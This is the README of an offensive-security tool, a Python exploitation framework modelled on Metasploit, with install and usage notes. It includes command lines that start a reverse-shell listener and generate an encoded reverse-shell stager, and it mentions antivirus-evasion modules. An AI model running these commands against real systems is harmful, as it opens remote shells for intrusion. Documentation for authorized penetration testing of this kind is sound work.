Terasploit Framework (TSF)

A modular, python exploitation framework for security researchers and red team operators.

Overview · Features · Installation · Usage · Contributing

---

⚠️ Development Notice — Terasploit is under active development. APIs, module structures, and features are subject to change. Contributions, bug reports, and feedback are welcome.

---

Overview

Terasploit Framework (TSF) is a structured exploitation framework built entirely in Python, designed for security researchers, penetration testers, and red team operators.

Inspired by the architecture and workflow of Metasploit, TSF explores a Python-first approach — leveraging the language most dominant across modern cybersecurity tooling. Where existing frameworks are often tied to Ruby, TSF prioritises Python's ecosystem, accessibility, and integration potential.

The long-term goal is a powerful, community-driven framework that pairs Metasploit's proven workflow model with Python's flexibility.

Core design principles:

• Modularity — Exploit, payload, encoder, auxiliary, and post-exploitation modules with a consistent interface
• Zero mandatory dependencies — the framework core runs on the Python standard library alone
• Dynamic discovery — drop a file in the right directory; no registration step needed
• Extensibility — clean base classes and a global datastore designed for contribution at every level

---

Features

Feature	Description
teraconsole	Interactive REPL with module loading, session management, and resource script support
terax	Standalone payload generator — msfvenom-style flag surface without the console
terasm	Keystone-backed assembler for multi-architecture shellcode generation
Payload system	Stagers, stages, singles, and adapters across Windows and Linux (x86/x64/aarch64)
Encoder pipeline	x86 Shikata Ga Nai (polymorphic XOR), x64 XOR Dynamic, EICAR test encoder
Session handling	Bind and reverse TCP session management with interactive shell support
Evasion modules	AV bypass templates with cleanup lifecycle
Post-exploitation	Structured post modules with live session context

---

Requirements

Python 3.13 or later is required. The framework core has no mandatory third-party dependencies.

Feature	Package	Install
Assembly (terasm)	keystone-engine	pip install keystone-engine
HTTP/HTTPS modules	requests	pip install requests
SMB/MSRPC/Kerberos/NTLM	impacket	pip install impacket

Install all optional extras at once:

pip install -r data/requirements/reqs-extra.txt

---

Installation

# Clone the repository
git clone https://github.com/rupture9/Terasploit.git
cd Terasploit

# Install optional extras (recommended)
pip install -r data/requirements/reqs-extra.txt

# Make entry points executable
chmod +x teraconsole terax terasm

# No package installation step is required. The framework adds its own root to `sys.path` at startup.
./teraconsole

System Installation

# Clone the repository
git clone https://github.com/rupture9/Terasploit.git
cd Terasploit

# Install via pip - be careful with '--break-system-packages'
python3 -m pip install -e . --break-system-packages

# Execute
teraconsole

---

Usage

teraconsole

Launch the interactive Terasploit console:

./teraconsole [OPTIONS]

Flag	Description
-d, --debug	Enable verbose/debug output
-v, --version	Print version and exit
-q, --quiet	Skip the banner
-r FILE	Execute commands from a resource (.rc) script
-m MODULE	Preload a module before dropping into the REPL
-x "CMDs"	Run semicolon-separated commands, then drop to REPL

Quick example — start a listener via command line:

./teraconsole -q -x "use exploit/multi/handler; set PAYLOAD payload/singles/generic/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run"

Common console commands:

use <module>          Load a module by path
show options          Display current module options
show advanced         Display advanced options
set <KEY> <value>     Set an option value
run / exploit         Execute the active module
sessions              List active sessions
sessions -i <id>      Interact with a session
jobs                  List background jobs
back                  Unload the current module
help                  Show all available commands
exit / quit           Exit the console

---

terax

Standalone payload generator — mirrors the msfvenom workflow:

./terax [OPTIONS] [KEY=VALUE ...]

Flag	Description
-p <payload>	Payload module path to generate
-f <format>	Output format (raw, hex, c, python, …)
-e <encoder>	Encoder to apply
-i <n>	Number of encoding iterations
-b <chars>	Bad characters to avoid (e.g. \x00\x0a)
-s <size>	Maximum payload size in bytes
--nop-sled <n>	Prepend N NOP bytes
-o <file>	Write output to file
-l payloads	List available payloads
-l encoders	List available encoders
-l formats	List available output formats

Example — Linux x64 reverse shell, XOR-encoded, null-free, C output:

./terax -p payload/stagers/linux/x64/shell/reverse_tcp \
        LHOST=192.168.1.10 LPORT=4444 \
        -e encoder/x64/xor_dynamic \
        -b '\x00' \
        -f c

---

terasm

Keystone-backed assembler. Converts instruction files into shellcode:

./terasm [OPTIONS] <input_file>

Supported architectures: x86, x64, ARM, ARM64, MIPS, PPC, SPARC, EVM, HEXAGON, SystemZ. Output formats: hex, c (array), raw bytes.

---

Development

Linting and formatting via Ruff:

ruff check .           # lint
ruff check --fix .     # auto-fix safe issues
ruff format .          # format

Type checking via Pyright:

pyright

Adding a new payload platform/architecture:

1. Implement the shellcode under teralibs/tsf/core/payload/<platform>/<arch>/
2. Create the module file under modules/payload/<type>/<platform>/<arch>/
3. Restart or reload — the module is discovered automatically

Adding a new module type:

Follow the skeletons in docs/terasploit.wiki/guide/Module-Development.md and drop the file into the correct modules/ subdirectory.

---

Contributing

Contributions are welcome. Please open an issue before starting work on significant changes. All modules should pass ruff check and pyright before submission.

---

Disclaimer

Terasploit is intended exclusively for authorized security testing and educational research. Use against systems you do not own or lack explicit written permission to test is illegal and unethical. The authors accept no liability for misuse.

---

_{Built with Python · BSD-3-Clause · github.com/rupture9/Terasploit}